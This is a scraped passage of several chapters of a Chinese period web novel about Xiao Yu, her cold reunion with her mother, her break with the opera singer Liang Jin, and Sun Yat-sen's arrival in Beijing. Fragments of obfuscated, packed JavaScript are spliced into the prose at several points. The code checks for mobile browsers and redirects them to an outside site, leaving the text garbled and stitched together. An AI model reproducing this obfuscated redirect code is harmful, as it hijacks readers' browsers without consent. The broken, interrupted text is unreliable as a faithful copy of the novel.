p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424900|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生了什么?” 其实,阿绣蹲在门外犹豫等待的时候,是非常伤心的,可以经过刚才泡了热水澡,换了新衣服,喝了热乎乎的姜茶,吃饱了饭,她的情绪已经完全平静下来了。 她断断续续的把她和钱亚萍的争执叙述了一遍,心里又升起了小小的难过: “也许...我从来也不认识真正的她。” 霍锦宁并没有什么意外,只问她: “你伤心,是因为觉得她一直欺骗你?” 阿绣点点头,想了想,又摇摇头。 “我想,她没有一直欺骗我…我分的清楚。” 也许,刚开始别有用心,但每天不厌其烦给她补课不嫌她笨的阿萍,隔三差五和她一起分享零食的阿萍,带她去家里吃饭兴高采烈和她讨论舞会的阿萍,都是真实存在过的。 “我只是伤心,我们做不成朋友了。” 她终究是失去了,她来到上海后第一个的朋友。 霍锦宁说的是对的,她们不是一路人。 “可是,为什么不是一路人呢?我本来,也只是笙溪镇上一个普通的小姑娘而已。我是不是,不应该来上海?不应该痴心妄想去上学?也不应该接受你为我做的这一切……” 没有遇见少爷的话,她又算什么? 过去,她从来没有想过这些,谁对她好,她默默感激,谁对她不好,她就尽量忍耐。可她从来没有想过,自己到底应不应该承受这些,她到底有没有资格接受着霍锦宁对她的好? “我觉得自己……” “阿绣——” 霍锦宁及时打断了她的话,也打断了她的自艾自怜,再这样下去,小姑娘可能会把自己绕进死胡同里。 她太天真,太善良,也太喜欢钻牛角尖了。十几岁的年纪失去了唯一的朋友当然是天大的事,他可以理解,但因为别人的一句话就完全否定自己、质疑自己就不对了。 然而成长,确是这样,要痛苦的思考,要惨烈的受伤,要透彻的领悟,要坦然的新生。 阿绣没有父母,没有朋友,没有亲近的师长,如同一尾不起眼的小鱼,小心翼翼的游荡在广阔无垠的大海,稍不留神就会被漩涡卷走,被渔夫钓起,被大鱼吃得渣都不剩。 好在,她身边还有他,他愿意在她迷茫的时候指引她,帮助她,不只是因为这尾小鱼是他放生大海,更多的是,他也想看着她平安长大,直到能四海遨游,天高海阔的那一天。 “阿绣,这世上每个人都有他自己的宿命,你遇见我,是你的命,旁人没有,也是他们的命。但是,每个人也有他要走的路,未来成为什么样的人,是他自己的选择。我帮助你,并不要求回报,唯一希望你能做到的,是认真读书,做一个正直善良的人。不过,如果你觉得心生愧疚,可以把这份愧疚用在学业上,将来尽己所能来,为国为民,就算是给我最好的报答了。” 她有些不解:“要,怎样做?” 霍锦宁顿了顿,缓缓道:“当今国家积贫积弱,内忧外患,中国大地上还有千千万万个小阿绣,他们没饭吃,没衣穿,没学上,也没有一个霍锦宁护着,他们需要一个崭新的明天。这个明天需要我们来共同创造,文人笔下定乾坤,武将马上安社稷,以能尽之能,做当做之事。” 阿绣认真思索了一会儿他的话,然后郑重的点了点头。 这一刻起,她面前似乎有一条更宽广的路铺就在眼前,她只能模模糊糊能看见前方霍锦宁的身影,而他面前的,是锦绣大地,浩荡山河。 无尽的远方,无数的人们,都与他有关。 她将用一辈子时间仰视他,追逐他,终其此生,无怨无悔。 38. 第 38 章 梁瑾在燕京大学做徐鹤教授助教的工作,比他想象的要顺利的多。虽然刚一开始,也遭到了一些学生老师的质疑和刁难,但梁瑾不为所动,要说奚落欺凌,他做这一行当,见得多也遇得多了,读书人动口不动手的姿态,已是最不值得一提的了。 况且梁瑾确实对戏曲表演有丰富的经验,虽然理论基础不足,但胜在深入浅出,渐渐地,让不少对坤旦反串有偏见的学生,也逐渐改观了起来。 七月,梁瑾正式拜徐鹤为师,设了拜师宴,敬了拜师茶,成为徐鹤先生的入室弟子。 原来教梁瑾唱戏的师父,是庆祥戏班里的一位不出名的前辈,几年前早已故去,梁瑾虽学艺刻苦,却到底不是名师正派。 而徐鹤先生桃李遍地,他的弟子既有名教授大作家又有梨园界的大师,连梅老板都拜师于他。梁瑾此番,可谓真正与当世名角站在同一高度了。 萧珏正式进入了正规学校念书,认识了许多同龄朋友,开始像一个真正的小孩子一样生活。当然,金环还是照顾着他的衣食起居,细心周到,比萧瑜这个姐姐要上心多了。 萧瑜手底下戏楼的生意基本稳定下来,她又在暗中收购其他酒楼、电影院,买进公司银行的股份,做稳赚不赔的幕后东家。她虽然没有霍锦宁的经商才能,但大把的票子撒下去,总有人为她鞍前马后。她野心大,却不急,一切慢慢来。 最近她又购置了一户更大的四合院,正在装修,说实话京城的老房子有诸多不便,这一次她打算把房子里头全部装成西式风格,至少电线要排好,自来水管和抽水马桶不能马虎。 日子过得岁月静好,波澜不惊。 安稳得让人恍惚生了错觉,忘记了外头其实是兵荒马乱的世道,内忧外患,北京城不过是一捆晒干了的稻草,只需要稍微一点火星子,就能熊熊燃烧,势不可挡。 九月,江浙战争爆发,奉军借机派兵十五万人向山海关、赤峰、承德方向进发,直奉战火又起。 曹大帅集结海陆空军总兵力近二十万人,依托长城组织防御。直军企图从海上登陆葫芦岛,合围奉军,但由于英国干预,被迫放弃。从此直军丧失了战争主动权,陷入被动。 十月初,长城九门口失守,奉军长驱直下。廖家部下伤亡惨重,廖大少廖伯明撤退时不幸被流弹击中,死在了战场上。 消息传回京城,廖老夫人当场晕厥,人事不省。 廖季生仍旧没有回家,他赖在燕子胡同,喝得烂醉,萧瑜陪着他坐到了天明。 “小,小的时候...兄弟们一起学拳,我大哥,他他、他就笑话我,最笨、最慢、早晚有一天上战场吃子弹,哈哈哈,他笑话我吃子弹.......” 廖季生被梁瑾和霍祥合力扶进屋子里时,还在含糊不清的嘟囔着什么,一个踉跄,三人直接都摔到了床上。 梁瑾闻着他一身酒臭,急忙躲开,霍祥被压在下面挣扎了半天才起身。 “诶呦喂,云大老板你可不能见死不救啊!” 梁瑾有些不好意思,看了看一头栽在床上毫无反应的廖季生,迟疑道:“他这么睡成吗?” 霍祥刚想帮廖季生把身子翻过来,就见他自己吭哧吭哧翻过了身子,舒舒服服的躺在床上,闭着双眼,脸上似笑非笑,似哭非哭: “他再也不能笑话我了......” 两人站在床边手足无措,萧瑜站在门外轻叹了一声。 “让他一个人呆着吧。” 这一战没有回来的,又岂止一个廖伯明? 可怜无定河边骨,犹是春闺梦里人。 . 一波未平一波又起,十月末,冯将军班师回京,与奉军里应外合发动政变,推翻曹大帅统治,赶走了紫禁城的傀儡皇帝,推选了新的总统,把持了京中大权。 紧接着,直奉二军首领先后致电中山先生,邀请其北山共商国是,中山先生接受邀请,于十一月从广州动身。 随行之人,有其夫人长子,学生秘书,还有广州政府财政厅厅长、山西巨贾萧润,以及他的妻子——十年内帮他把银行开遍全国的康家大小姐,康雅惠。 . 萧瑜没想到,这一天会来得这样突然。 中山先生由广州出发,经上海,由日本转道,昨日才抵达天津。 霍锦宁还在赶来北京的路上。 京城名角儿金九华先生前日去世,梁瑾今天前去吊唁。 萧珏去参加学校组织的参观活动,金环去接他。 这一天黄昏,萧瑜独身一个人,坐上了一辆开往郊外山间别墅的汽车。 之前闲来无事,她也跟霍锦宁调侃过: “你说我母亲要是愿意见我的话,是因为多年不见心生愧疚,终于父亲去世,不用避嫌?还是因为,我如今是沪上霍家的二少奶奶?” 霍锦宁只是淡淡道:“你心里不是早就有答案?” 是啊,她心里早有答案。 自去年霍家出资捐赠建设广州军校,霍锦宁与康博文一直保持联系,会面过几次,甚至见过一次康雅惠。康家对与霍家的联姻合作十分满意,但康雅惠从未提过萧瑜,一次都没有。 方才临出门时,只有霍祥在她身边急得团团转,眼睁睁看着她穿着惯常上身的长裤皮鞋,拿起黑色羊毛大衣就要出门,连忙喊住她: “我的小姑奶奶啊,你就不穿件淑女点的衣服?” 萧瑜一愣,理论上她结婚以后就能穿回女孩子家的衣服了,事实上她从不信这些,也不是为了那些个什么批命才穿男装,只是穿惯了而已。 而结婚后,并没有人提醒她这件事,哪怕是当初把这个当做是完婚理由之一的霍锦宁,她自己几乎都快忘了。 沉默了好半晌,她笑了笑: “整个北京谁不知道我萧瑜是什么人,何必装模作样?” 虽然去这一趟之前,已经注定好了她此行要审时度势,唱上一出四郎探母,爱子情深。 康雅惠是在萧瑜两岁时离开萧家的,她先是以养病的理由回到康家静养,而后以送小妹留学的名义漂洋过海去了美国,从此再没回来。 萧瑜幼时的记忆中对她全无印象。 第一次得知她的消息,是霍锦宁家中一张来自海外的英文报纸,上面介绍康女士是中国第一批赴美留学生,日后回国前途不可限量。 第一次见到她的样貌,是十二岁那年铺天盖地对康家大小姐嫁与山西富商萧润的报道,报纸上有一张她穿西式婚纱的照片,影影绰绰只有个模糊轮廓,标题萧瑜至今还记得:《二嫁一姓,康女对萧男情有独钟?》 . 汽车开进别墅院子里的时候,太阳落下西山,晚霞最后一丝余晖消失在天际,暮色四合,深山孤寂。 别墅是早些年王公贵族建的西式洋房,雍容华贵,却久无人住,显得格外阴冷,好像是西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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康雅惠皱了皱眉,似乎连提起那个人都是无穷无尽的厌恶。 她有些不耐烦道: “中山先生不日抵达北京,和谈之后,南北局势天翻地覆,萧家树倒猢狲散,你留在这里还有什么意义?霍成宣不做亏本的生意,如果你还想安稳做霍家的少奶奶,就该老老实实回上海。” 这正是萧瑜此时此刻站在这里的目的,可如此被康雅惠毫不留情的揭穿,她刹那间感觉到从来没有过的狼狈不堪。 萧瑜强自镇定,沉声道: “母亲说得对。” “我给你两条路,一条是回去霍家,做个安分的富家少奶奶,学着经商理财;第二条,是继续出国去念书。但无论哪一条,你身上那些肮脏陋习,必须尽快全给我改掉!” 萧瑜有一瞬间找不到自己的声音,她张了张嘴,终于缓慢的问:“您说的陋习,不知指的是什么?” 康雅惠冷冷瞥了她一眼: “给你一个月时间,把这边乱七八糟的事情和人都断了,然后去上海。” “可是和谈的事…” “和谈与你无关,锦宁后天到北京。既然你想好了要做回我的女儿,那我不希望以后再听见什么关于你的风言风语,否则你就不要再出现在我面前了,康家丢不起这个人。” 39. 第 39 章 梁瑾回来的时候,夜已深沉,他坐在黄包车上出神了片刻,直到车夫叫他,他才反应过来。 下车付过钱,他神色疲惫的走了进门。 萧瑜房间里的灯大亮着,他不由走了过去,他想和她说说话。 可是等走到门口,却看见屋内一片狼藉,如同被暴风席卷过,桌椅板凳东倒西歪,花瓶摆件七零八落,而萧瑜颓然坐在唯一一张完好的椅子上,垂头不语。 “萧萧?” 梁瑾惊讶,他急匆匆冲到她面前,单膝跪下,拉起她的手,试图让她看向自己。 入手一片湿濡,她的手心被不知道什么的碎片割伤,流血不止。 “怎么伤的?疼不疼?忍一下。” 梁瑾急忙掏出手帕,小心翼翼替她包扎伤口,心疼不已。 萧瑜垂眸看向鲜红的血迹侵染着雪白的绢丝,连上面“怀瑜握瑾”四个字都被染红了。 “脏了。” 她轻声说。 “哪里有你的伤重要?” 梁瑾无可奈何叹了口气,轻柔抚上她的脸,低声问:“怎么这么不小心?” 他已经明白这一地狼藉是谁做的好事了,可是他不明白究竟发生了什么,能叫这个从来漫不经心的人发这样大的脾气。 萧瑜眼神定定看向虚空的一处,缓缓的开口:“我刚才,去见过我母亲了。” 梁瑾目光一颤,他从来没听她说过母亲的事,一度以为她幼年丧母,没想到人还在世。 可她如今这样表现,相必会面是极不愉快的。 萧瑜轻轻一笑:“我这样,像不像是得不到糖果的小孩子?” 如果说她对康雅惠没有丝毫的期待,恐怕连她自己都骗不过去。 从小到大,萧子显的所作所为她看在眼里,早就在心里有所偏颇,为母亲的出走找了无数个理由。 可这些理由她的母亲一个也不需要,她根本不在乎那个在两岁时就被她彻底抛弃,多年来不闻不问的女儿。 她只是康雅惠厌恶的曾经,耻辱的过去,丢人的现在,以及能促成与霍家联姻合作的未来。 萧瑜从没有期望康雅惠能喜欢她,疼爱她,可如今看来,康雅惠对她发自内心的厌恶反感,并且丝毫不屑遮掩。 梁瑾忍不住站起来,轻轻抱住她,让她的头靠在自己怀里,用手指温柔的梳理着她的短发。 “要是不喜欢,以后就不要再见了,反正……你已经长大嫁人了不是吗?” 他当真是见不得她这副模样,如同被抛弃的小孩子,如同街上流浪的小猫小狗,多看一眼,心里都冒酸水。这人多云淡风轻啊,心多硬多凉啊,这世上为何还有人能叫她如此脆弱伤神? “不再见?多硬气,呵,士不为五斗米而轻折腰,那都是因为筹码还不够沉……” 萧瑜轻笑了两下:“我没事,你去拿伤药吧。” 梁瑾迟疑的端详着她的脸色,看起来确实无大碍了,这才去取药。 他特意拿的之前济仁堂的伤药,唯恐她留疤痕。 仔仔细细为她上过药,重新包扎好伤口,他小心翼翼将那条手帕收了起来,想着一会儿去洗干净血迹。 “金老爷子是如何走的?”萧瑜随口问。 梁瑾这才想起白日里葬礼上的听闻,不禁叹了口气: “日前有场贵人堂会,点了名要让金老爷子去,老爷子卧病许久了,推辞不肯,他们便把老爷子儿子抓进班房,派了四个巡警把老爷子从病榻押到堂会上。老爷子撑着一口气全力以赴唱完,下了台即刻晕倒,送回家当夜就去了。” 金老爷子七十岁高龄了,是梨园响当当的前辈高人,能文能武,德艺双馨。 然而那又如何呢?他们叫你唱,就得唱。 自古伶人多悲苦,又有哪个能得了善终。 “究竟什么时候,戏子也能活得像个人样呢?”梁瑾苦笑。 萧瑜沉默了一会儿,问道:“我听闻徐鹤先生带着徒弟应邀去东京访问了。” 她看向他:“你怎么没去?” 梁瑾稍微惊慌了一下,而后又迅速掩盖住了,他一边起身去收拾屋子,一边道: “我?我自然是不够格的,徐先生弟子众多,我哪里能排得上号......对了,你想吃什么宵夜,我去做给你?” “不用了。” 萧瑜摇了摇头,突然道: “我明天搬回霍府住。” 梁瑾身子一僵,本来捡起的半个花瓶再次掉在地上,这一次花瓶摔得粉碎。 萧瑜紧紧盯着梁瑾惨白的脸色,一口气道:“珏儿和金环也跟我走。” “为什么?”梁瑾轻声问。 萧瑜有些受不了,她僵着脖子转过头,声音木木的解释:“霍锦宁后天回来,为了和谈的事,他会待上一阵。我住在这里,大家面子上都不好看。” 说完,顿了顿,又忍不住补充了一句:“暂时的。” 她听见他轻轻舒了一口气,语气轻快道:“还是吃一些吧,豌豆黄怎么样?这时辰东街那家店还能开门,我现在就去买。” 而后不等她回答,他已经匆匆出了门。 萧瑜默默转过头来,看着一地狼藉的屋子,轻轻叹了口气。 也许,她从一开始就不该对他心软。 ...... 十二月末,中山先生乘专车抵达北京。 那天下午正阳门火车站,人头攒动,彩旗飘飘,各行各界数万人从清晨开始自发在寒风中等待。欢迎队伍由车站一直排到城门侧,横幅随处可见,标语四处张贴,传单沿街发放,场面热闹非凡。 人们对这次和谈充满希望,对即将到来的和平充满信心。 而彼时萧瑜并没有在场,她只是躺在霍府院子里的贵妃椅上晒着冬日暖洋洋的太阳,这些都是霍锦宁回来告诉她的。 “你为什么不去,无论和谈结果,这一幕必定铭记史册。” “她不准许我参与政事。”萧瑜似笑非笑瞥了他一眼:“我最大的作用就是将你这个康家女婿送到他们面前,剩下的都与我无关。” 霍锦宁不置可否:“那又为何闭门不出?” “我正在谨遵她的教诲,改正陋习,可我这人陋习太多,平日里去的地方见的人,算一算都是她瞧不上的,不如留在家里晒太阳。” 她眯起眼睛,双手枕在头下,舒舒服服的仰躺着,状若悠闲。 霍锦宁忍不住伸手将她眉前的碎发轻轻拨开,叹了口气: “事情没有那样顺利。” 萧瑜猛地睁开眼:“怎么了?” “中山先生病了。” 北方正值隆冬严寒季节,寒风刺骨,由于旅途劳顿,中山先生抵达天津时身体已在发烧。而且他肝病发作,入京之时,一直低烧。 直奉两军邀请和谈,本就不是秉着和平统一之心,中山先生明知希望渺茫,仍愿意以身犯险,北上一试。可如今这一病,让本就莫测的局面变得更加无望了。 这几天,霍锦宁都在北京饭店随同康博文、康雅惠夫妇陪护中山先生,萧瑜独自在家,纵有心,然无力,只能派霍祥跟着随时打电话回来向她汇报。 . 这一日下午,霍府来了一个意料之外的访客。 “周大哥怎么突然拜访?也不提前说一声,我好备下酒菜。” 萧瑜笑着请周光伟入座,吩咐下人倒茶。 “最近可好,怎么不见兰姐?” “不必了,我不久坐,只是有事和你谈谈。”惯常笑容和气的周光伟脸色不太好,皱眉补充道:“有关云天的事。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424902|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧瑜笑容渐渐淡下,翘起二郎腿,慢悠悠道:“周大哥来霍府和我谈云老板的事,似乎不妥吧。” “不妥至极,可我别无他法。”周光伟有丝急迫,“月初徐鹤教授应日本帝国剧场社长邀请,带弟子访问日本,先后在东京、大阪、京都等地演出,反响轰动。他本是欲带云天一同前往,可云天拒绝了,你可知道?” “知道。” “上个月,音韵社在中央公园水榭宴集,首次公开献唱徐鹤先生新编曲目《洛神传》,唱宓妃的旦角一曲惊艳四座,如今成了京城身价最高的红角。而这出戏本来是徐鹤教授从梁瑾身上寻到灵感,为他量身定制,可云天却拒绝了,你可知道?” “也知道。” “还有......” “周大哥不必说了。”萧瑜打断他,“你说的这些,我全知道。” “好,那你知不知道,他为何连番拒绝徐鹤先生的青睐,拒绝这样天赐良机?” 萧瑜淡淡反问:“周大哥以为呢?” 周光伟长叹一声:“他是为了你啊。” 是啊,他说戏子门前是非多,他不打紧,怕给她添罗烂。 “你是有夫之妇,是霍家二少奶奶,他若抛头露面,会给你带来多大的流言蜚语。他为了你宁愿不再唱戏,宁愿只窝在小小的燕子胡同,而你却忍心吗?” 周光伟激动道:“你知晓一个人要多幸运才能被老天爷赏这口饭吃?一个人要多刻苦才能在台上唱出名声?碧云天,他是为这戏台生的,他合该扬名天下,他合该千古流芳啊!” “萧二小姐,霍二少奶奶,您放了他罢。” 萧瑜不知为何,忽而有些想笑。 这一字一句,血泪控诉,仿佛她已经扼死了一朵戏坛蓓蕾,杀死了一颗梨园新星,简直恶贯满盈,罪无可恕。 然而,对这一切,她却不能反驳。 “周大哥,你说得句句在理,我心底也极为认同。” 周光伟面容一缓,刚要开口,却听萧瑜接着说: “可这话我不爱听,也轮不到你来说!” 稀里哗啦—— 茶杯被重重的掷到地上,摔得稀碎。 萧瑜站起身,居高临下望着他,冷声道:“他是好是坏,与你何干?” “怎么无关?!” 周光伟也蹭的一下站了起来,大声道:“你知道我从小到大,为了学戏,吃了多少苦,挨了多少打吗?可我不能,我这辈子就算唱破了嗓子,唱死在台上,我也演不了花旦,唱不成名角!人过中年,我也死心了,可当我见到碧云天的那一刻,我听他开腔的一瞬间,我这半辈子所有的梦想,全部死灰复燃了!我当不成名角,可我能把碧云天捧成名角。我可以为他筹集资金,我可以为他宣传造势,我能让他唱/红四海,唱到美国百老汇,唱到巴黎香榭去!” “可你不懂他,他不求名,不求利,他只是希望戏子的命别那么苦,别那么让人瞧不起。” “有一个碧云天,还怕没有千千万万个碧云天吗?” 周光伟越说越激动,他手舞足蹈:“如今国人视传统为糟粕,视舶来为精华,对自己老祖宗的东西越发没有自信起来。只要能把戏曲推到国际上,一方面促进交流,一方面也让国人觉醒,我们自己就有最古老的艺术,最美妙的文化,怎能不叫人趋之若鹜?这样何愁戏子再被轻贱?” 他猛地转回身,双目赤红,直勾勾盯着萧瑜:“我周光伟发誓,此生一定做到。” 他背后是门外冬日的懒散阳光,在他胖硕的身躯上勾出发亮的轮廓,仿佛这一刻,他已经站在了世界的舞台上,四周鲜花掌声,潮水不息。 萧瑜缓缓的拱手鞠下一躬,郑重其事道: “今日誓言,萧瑜记下了,日后还请周大哥多多费心。” 40. 第 40 章 除夕之夜,中山先生的病情再次恶化,入住协和医院,剖腹检查,六七位外国医师集体进行会诊。 窗外细雪纷飞,爆竹阵阵,一片张灯结彩,喜气洋洋。 霍府中却仍旧清清冷冷,只有两个人,相酌对饮。 萧瑜为自己和霍锦宁各倒了一杯酒: “如此关键的时刻,你怎么不守在医院?” “会诊的结果明早才会出来,我凌晨再去。今晚除夕之夜,总不能让你一个人留在家里。” 萧瑜笑了笑:“这世道兵荒马乱,朝不保夕,我孤不孤单又有什么打紧?” 霍锦宁也笑了笑:“接下来,你有什么打算?” “打算?能拖一天是一天吧。”萧瑜慢悠悠喝下杯中的酒,“你说美利坚我也去过了,这回去欧洲瞧瞧怎么样?” “也许,你可以试试曲线救国。” 萧瑜抬眸看了他一眼:“什么意思?” “康家未必只有你母亲一人说了算。” 萧瑜沉吟片刻,终是无奈摇头:“至少现在是。” 霍锦宁叹道:“那就等一等吧。” 等你我足够强大,强大到破茧成蝶,强大到浴火重生,强大到能推到现今所有旧势力的那一天。 也许那一天,我们都看不到了,但那一天,终究会来。 丁铃铃铃—— 刺耳的电话铃声在寂静的夜晚响起,两人不约而同看过去,谁也没有动。 萧瑜先移开了目光,仰头把酒一饮而尽。 只会是一个人打来的,因为这样的电话,这一个月来已经响过无数次了。 霍祥闻声匆匆赶过来,有些迟疑的看向二人。 萧瑜没反应,霍锦宁颔首,霍祥这才接起电话。 “云老板?是,中山先生病重,小姐去协和医院了,今晚估计回不来了,您有什么事等小姐回来我转告一声。” 霍祥按照提前被吩咐好的说辞应对着。 小姐去香山饭店了,小姐去海淀访友了,小姐去西城电影院了……萧瑜人在家中闲坐,眼睁睁看着霍祥把她编排得满北京乱窜。 电话那端寂静了片刻,轻声道: “好,我知道了,我也没有什么要紧事,只是……刚下了饺子,毕竟年三十,她要是有空,就来坐一坐……” 霍祥战战兢兢放下电话,看向萧瑜: “小姐,您都听见了…” 霍锦宁示意他下去,霍祥如蒙大赦,连忙小跑出门,他决定下次和霍吉换一个方式决定谁来接电话,猜拳为什么总是他输? “你下定决心了?” 霍锦宁不曾明指,但此时此刻,他说的不会是旁的。 从梁瑾此人出现起,这几乎是两个人第一次面对面提起他。 即使,萧瑜和他的事,霍锦宁从头到尾都知道,而萧瑜也知道他知道。可依旧没人提起,这是他们的默契。 萧瑜轻笑了声,仰面靠在椅背上,幽幽道: “我生来命犯桃花,惯常浪荡性子,还不起他一往情深。” 燕子胡同没装电话,三条街开外有家卖德货的商铺有装,顾客要排队打,五分钟一块钱。 她几乎可以想象到在这寒冷的大年夜,梁瑾走过三条街,软磨硬泡的敲开商铺的门,在掌柜的白眼下,打的这通电话。 “我现在有些相信当年算命先生的话了。” 霍锦宁问,“你还记得他说了什么吗?” 如何不记得?那句批命彻底改变了她的一生。 桃花流水,谁做多情种。故园旧梦,君有几多愁。 左右不会是她。 不如是她。 “信则有,不信则无。”霍锦宁轻笑,慢悠悠道:“其实,当年给你批命的那位先生给我也算了一卦。” 当年她被批了那样的命格,闹得鸡飞狗跳,霍锦宁愤愤不平,总觉得是有人陷害她。那算命先生说白了是个游方术士,无名无姓,在庙会摆了七天摊子,相面测字无一不准,一夜声名远扬,这才被人叫进萧府,想在萧老太爷面前讨个赏。萧府子女都按八字儿看了一遍,唯有萧瑜这里出了差错。 事后这人就不见了,霍锦宁派人在北京城挖地三尺终于把他找出来了,质问他受何人指使。 熟料阴谋没问出,自己反而又得了一卦。 或许世间真有机缘可述。 萧瑜一愣,坐直身子:“我怎么不知道?你的批命是什么?” 霍锦宁垂眸,敛下眸中神色:“别担心。” 这些年来,他惯常用这样的姿态掩盖真情实感,殊不知每次他这样神色,她都忍不住心惊胆战。 “别担心,你和我的命是连在一起的。” 霍锦宁眼中笑意温柔,他真心想骗过她时,她也会真心被他骗过。 “你二哥哥这辈子,是好结局。” . 没等到午夜,医院那边就来信儿了,汽车一直停在门外候着,霍锦宁匆匆赶往医院。 萧瑜独自在房中静坐片刻,终是起身出了门。 大年除夕,家家户户团圆喜庆,新桃爆竹,红纸福字。相比起来,燕子胡同最里面那户,门口只挂了盏红灯笼的四合院,就显得格外冷清了起来。 前段时间热热闹闹的院子,一转眼就变得冷冷寂寂,没有了萧珏跑来跑去的玩耍,没有了金环在树下做针线活,没有了霍祥和小六子摇骰子赌花生米,没有了梁瑾捏着折扇咿咿呀呀吊嗓子,没有了萧瑜躺在摇椅上半醒半眯。 院子里黑漆漆的,只有西厢房亮着一盏微弱的灯。 桌上摆着一桌子酒菜,热了再热,已经凉透了,几盘饺子也粘成一坨,分不清你我。 梁瑾独自坐在桌边,静默望着灯光投到地上的阴影。 他默默想着,要是蜡烛就好了,蜡炬成灰千行泪,大抵还能估摸到时间的流逝。不像现在,一分一秒都是如此难捱,好像过了半辈子,可西洋钟上指针还没走过半圈。 她今夜不会来了,她今生也不会来了。 外面又响起噼里啪啦的爆竹声,还夹杂着孩子的嬉闹声。 他恍惚间想起了过去在庆祥班的日子,过年这几天不用起早贪黑的练功,是难得轻松的日子,运气好了还有几串炮仗可点。 一堆孩子的起哄声里,他战战兢兢的去点引线,连看也不敢看,突然砰的一声,他被吓坐在地上,呆愣的看着炮仗炸开在自己面前,那响声那火花真热闹啊,可热闹得太短暂,放肆的燃烧后,只剩下一地红色碎屑,和久消不散的刺鼻硫磺味。 砰——的一声,房门被大力的推开,屋外的冷风呼呼的灌进来。 梁瑾不可置信的看着门口的那个身影,一时间分不清是梦是真。 “饺子呢?不会一个没给我留吧?” 萧瑜笑着走进来。 “萧萧,你回来了?” 梁瑾欣喜的站起来,“我,我还以为......” “以为什么?” “算了,没什么。菜都凉了,我这就去热——” “不必了,吃过饭来的。” 她抓住他的手臂,不让他再忙乎。 离得近了,他闻见了她身上的酒气,有些无奈:“又喝酒了?” “喝了。”她轻笑,“和霍二少一块儿喝的。” 他神色一僵,别开脸,小声说:“你不必告诉我。” 萧瑜好笑:“你何必自欺欺人?你明知道我和他是什么关系,喝酒算什么了,我们在一起时会做什么,你难道不知道......” “别说!” 梁瑾猛然转过头来,他脸色发白,双唇抿得紧紧的,双眼中有愤怒,伤心,还有隐隐的祈求。 他知道,他如何不知道?只是她不提,他不问,就自欺欺人的觉得不存在而已。 “你不是说你不求么?” 萧瑜定定的望着他的眼睛,轻柔缓慢,一字一顿: “梁瑾,别求,我什么也给不了你。” 他呼吸一窒,眼见着她就近在咫尺,昏黄灯下,醉眼迷离,莹润的肌肤上好似镀了一层柔光,红唇一张一合,说着最残酷的话。 她就在他眼前,她就在他怀里,为何还属于着别人? 他头脑一热,就这样捧着她的脸狠狠吻了下去。 他们不是没有接过吻,她心情极好极好时,两人会有蜻蜓点水般的触碰,但也仅此而已。他心里清楚,她不喜欢和人亲近,所以从不敢越雷池半步。 可这一次,她并没有抗拒。 于是一切都乱了套。 他们从桌边纠缠到床边,他不停的亲吻着她,轻轻触碰,两人都是颤栗,然后就是沉醉其中的深深沦陷。 萧瑜突然笑了起来,她单手搭在眉目上,看不清表情,却见得无声笑得双肩颤抖。 “萧萧?” 梁瑾一愣,不解的看向她,只见她伸手合拢被他解开的衬衣,将他的身体推开,然后翻身下地,就这样大步走出了门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424903|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他坐在床上僵了半晌,而后焦急的下床捡起地上那件她刚刚脱下的外套,匆匆追了出去。 “萧萧!” 她背对着他站在院子里那棵老槐树下,扶着树干,低头不知在想些什么。他从后面给她披上外衣,然后转过她的身子,轻声问: “怎么了?” 他的声音有几不可查的颤抖。 萧瑜并没抬头,沉默了一会儿,低声道:“我后天回上海。” 梁瑾注意到她的用词,强压下心中的慌乱,点点头:“好,可要准备些什么东西?你要带什么......” “不带,一件也不带。” “包括,我?” 萧瑜忽然笑了,一贯的漫不经心,真假难辨,她扣子没系,漏出大片赤裸的肌肤,脖子上还有他方才放肆的痕迹,她冷漠道: “梁瑾,你从一开始就该知道,我们不可能长久。” 梁瑾脸上血色褪尽。 如何不知道? 这世上人分三六九等,从生下来就注定好了,他不过是个戏子,最后的结局不外乎是寻个同样三教九流的人成对,要是奢望着体面人家,不是做娈童,就是当奸夫,样样不得善终。 可他飞蛾扑火,一意孤行,结局早就清清楚楚。 只是他不曾想到,这一天来的这样快。 萧瑜转身,却被他死死的抱住。 “别走,萧萧,求你了......” 萧瑜深吸一口气:“小六子你想留就留着,这院子你想住就继续住着。” “我什么都不要。” 有温热的液体流在她肩头,顺着领口淌下来,几乎烫到了她。 “梁瑾,别叫我最后瞧不上你。” 抱住她的那双手慢慢的,慢慢的失去力气,终于彻底松开了。 萧瑜呆了呆,强自克制住自己没有回身看他,大踏步的向前走,头也不回的离开了。 这个大年夜,天空一粒雪也没有下,尽数落在了人心上。 ...... 